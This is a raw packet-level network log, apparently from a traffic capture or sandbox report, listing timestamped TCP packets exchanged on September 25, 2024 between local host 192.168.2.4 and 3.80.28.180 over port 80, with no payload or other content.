Sep 25, 2024 03:51:29.610861063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.610914946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.610938072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.610948086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.610958099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.610968113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611000061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.611042976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.611283064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611300945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611311913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611321926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611332893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611341953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611351967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611363888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611402035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.611402035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.611429930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.611555099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611565113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611571074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611576080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611584902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611593962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611605883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611617088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611644983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.611743927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.611850023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611866951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611877918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611887932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611898899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611910105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.611929893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.611929893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.612009048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.612294912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612306118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612315893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612325907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612337112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612348080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612349987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.612360001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612374067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612381935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.612406969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612461090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.612473965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612484932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612493992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612504959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612514973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612529039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.612576962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.612610102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612622023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612685919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.612898111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612907887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612917900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612929106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612938881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612950087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612960100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612971067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612981081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.612981081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.612981081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.613002062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613013983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.613014936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613028049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613037109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613048077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613059998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613061905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.613061905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.613070965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613081932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613100052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613110065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.613111019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.613167048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.613446951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613459110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613467932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613477945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613491058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613502026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613511086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613516092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613526106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.613533974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.613569975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.613588095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.655141115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.655169010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.655179024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.655195951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.655246019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.655261040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.655272007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.655301094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.655337095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.655375004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.655467987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.697771072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.697786093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.697798014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.697839975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.697853088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.697863102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.697865009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.697876930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.697890043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.697922945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.697951078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.697951078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698008060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698019981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698033094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698055029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698096991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698111057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698211908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698224068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698234081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698250055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698261976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698272943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698290110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698304892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698396921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698410034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698421001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698431969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698441982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698549986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698554039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698563099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698575020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698585033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698592901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698596954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698610067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698622942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698626041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698700905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698802948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698815107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698826075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698837042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698848963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698859930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698862076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.698873043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.698946953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.701827049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.701839924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.701852083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.701904058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.701924086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.701947927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.701960087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.701970100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.701983929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702013969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702043056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702043056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702220917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702279091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702291012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702327013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702363968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702375889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702387094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702395916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702433109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702457905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702471018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702502966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702505112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702516079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702579975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702600002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702611923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702621937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702632904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702689886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702689886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702712059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702723026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702735901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702745914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702755928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702776909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702827930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702856064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702867985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702877998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702892065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702907085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702959061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.702972889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.702986002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703028917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703062057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703073025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703083992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703097105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703109980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703131914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703197002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703212023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703224897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703238010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703250885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703279972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703324080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703329086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703341961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703352928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703407049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703489065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703499079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703511000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703522921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703533888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703546047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703548908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703558922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703573942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703602076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703602076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703768015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703783035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703795910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703808069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703818083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703819036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703831911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703850031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703850985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703864098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703876972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703891039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.703912973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703912973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.703942060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.704019070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704031944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704080105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.704168081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704180956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704190969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704204082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704216003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704232931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704232931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.704232931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.704247952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704302073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.704302073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.704452038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704463959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704473972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704488039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704499006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704507113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.704513073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704526901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.704560995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.704560995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.746177912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.746205091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.746217966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.746263981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.746284008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.746288061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.746300936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.746313095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.746325970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.746351957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.746378899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.746411085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.788798094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.788810015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.788822889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.788873911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.788898945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.788913965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.788927078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.788966894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789011002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789022923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789036036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789093971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789130926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789144993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789159060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789170980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789213896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789213896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789326906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789340019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789350986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789362907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789376020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789392948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789443016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789443016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789465904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789540052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789552927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789563894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789576054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789594889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789642096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789802074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789813995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789824963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789835930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789848089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789860010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789870024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789872885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789885998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.789917946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.789917946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.790121078 CEST	80	49730	3.80.28.180	192.168.2.4
